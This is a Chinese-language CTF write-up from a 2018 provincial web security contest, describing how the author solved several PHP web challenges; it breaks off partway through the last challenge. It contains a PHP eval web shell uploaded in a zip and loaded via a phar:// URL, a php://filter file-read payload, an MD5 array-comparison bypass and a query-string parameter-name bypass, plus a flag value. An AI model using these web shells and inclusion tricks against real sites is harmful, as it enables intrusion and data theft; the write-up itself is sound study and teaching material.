2018web安全测试秋季省赛Writeup

上周日安恒web安全测试秋季省赛打的我好无力呀!!本来早就应该拿出来的writeup因为好多事情耽误了(QAQ)

对于后面两个300的题目进行复现整理出来得到的writeup

如有错误,希望各位师傅进行指正(ths)

常规操作

常规操作,试一试 http://114.55.36.69:8009/

看到zip于是猜测是phar://伪协议读取。

于是写个小马打包成zip文件传上去。

例如我写的是miraitowa.php

<?php
@eval($_POST['miraitowa']);
?>

然后压缩成miraitowa.zip,那么需要访问以下链接。

http://114.55.36.69:8009/index.php?url=phar://upload/5a722d46033ecd25d5ce0f13a0e7d8ec.zip/miraitowa

随后连接小马,读到flag

另一种操作

直接使用PHP伪协议进行读取flag(Orz)

http://114.55.36.69:8009/index.php?url=php://filter/convert.base64-encode/resource=flag

也可以得到答案的:a5aa012546a729eebaeaa768883beb23

送分的md5

怎么还有md5 http://114.55.36.69:8000

md5 crash?<!--$_POST['data1']!== $_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2'] -->fail

很简单的MD5绕过,构造如下payload

POST Data: param1[]=1&param2[]=2

POST Data: param1[]=1&param2[]=

!!!A_A

这题考过很多次了,但是还是要仔细的说一下

这是我以前做过的一道代码审计的题目,其中有一个知识点,可以详细看看这个链接

https://bugs.shuimugan.com/bug/view?bug_no=64792

从上面可以看出,简单点解释就是当代码中存在$_REQUEST['user_id']里面类似的参数的时候,我们在url上可以这样a.php?user.id

传参去进行绕过,这样进去之后也能表示$_REQUEST['user_id']的值,同样可以绕过的符号还有+``.``[ 等,应该说是php的一个小特性,上面讲的很清楚了

!!!A_A !!!-_- http://114.55.36.69:8001/
<?php
highlight_file(__FILE__);
ini_set("display_error", false);  
error_reporting(0);  
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');

}

?> A_A,too small

阅读代码发现,首先第一步要绕过A_A这个符号,如果出现这个符号他就会显示A_A,have fun

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖